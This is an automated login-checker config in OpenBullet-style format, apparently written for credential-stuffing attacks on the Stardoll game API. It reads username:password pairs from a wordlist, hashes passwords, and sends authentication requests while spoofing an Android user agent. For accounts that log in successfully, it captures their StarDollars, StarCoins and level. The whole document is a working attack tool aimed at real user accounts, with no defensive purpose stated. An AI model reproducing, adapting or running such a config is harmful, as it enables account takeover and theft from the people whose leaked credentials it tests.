[SETTINGS] { "Name": "stardoll", "SuggestedBots": 7, "MaxCPM": 1200, "LastModified": "2020-02-21T01:43:57.9453849+03:00", "AdditionalInfo": "", "Author": "m1st", "Version": "1.1.5", "IgnoreResponseErrors": false, "MaxRedirects": 8, "NeedsProxies": false, "OnlySocks": false, "OnlySsl": false, "MaxProxyUses": 0, "BanProxyAfterGoodStatus": false, "EncodeData": false, "AllowedWordlist1": "UserPass", "AllowedWordlist2": "", "DataRules": [], "CustomInputs": [], "ForceHeadless": false, "AlwaysOpen": false, "AlwaysQuit": false, "DisableNotifications": false, "CustomUserAgent": "", "RandomUA": false, "CustomCMDArgs": "" } [SCRIPT] #appId FUNCTION RandomNum 1 1 -> VAR "appId" #DeviceID FUNCTION RandomString "?h?h?h?h?h?h?h?h?h?h?h?h?h?h?h?h" -> VAR "DeviceID" #PASSmd5 FUNCTION Hash MD5 "" -> VAR "PASSmd5" #hashkey FUNCTION Hash SHA1 ":::" -> VAR "hashkey" #Login REQUEST GET "http://api.stardoll.com/index.php?appId=&method=user.authenticate¶ms=%7B%22username%22%3A%22%22%2C%22key%22%3A%22%22%2C%22deviceId%22%3A%22%22%7D" HEADER "User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; G011A Build/N2G48H)" KEYCHECK BanOnToCheck=FALSE KEYCHAIN Failure OR KEY "Incorrect username & password combination" KEY "Invalid parameters given" KEYCHAIN Success OR KEY "userId" #userId PARSE "" JSON "userId" -> VAR "userId" #token PARSE "" JSON "token" -> VAR "token" #num FUNCTION RandomNum 1111 9999 -> VAR "num" #vn FUNCTION RandomString "?d?d?d?d?d?d?d" -> VAR "vn" #hashkey2 FUNCTION Hash SHA1 "::{\"appId\":\"\",\"method\":\"user.get\",\"vn\":,\"l\":\"en\"}:user.get" -> VAR "hashkey2" #TokenHash FUNCTION Hash SHA1 ":" -> VAR "TokenHash" #Capture REQUEST GET "http://api.stardoll.com/index.php?appId=&method=user.get¶ms=%7B%22appId%22%3A%22%22%2C%22method%22%3A%22user.get%22%2C%22vn%22%3A%2C%22l%22%3A%22en%22%7D&signature=%7B%22did%22%3A%22%22%2C%22num%22%3A%22%22%2C%22key%22%3A%22%22%2C%22uid%22%3A%22%22%2C%22token%22%3A%22%22%7D" HEADER "User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; G011A Build/N2G48H)" #StarDollars PARSE "" JSON "sd" CreateEmpty=FALSE -> CAP "StarDollars" #StarCoins PARSE "" JSON "sc" CreateEmpty=FALSE -> CAP "StarCoins" #Level PARSE "" JSON "l" CreateEmpty=FALSE -> CAP "Level"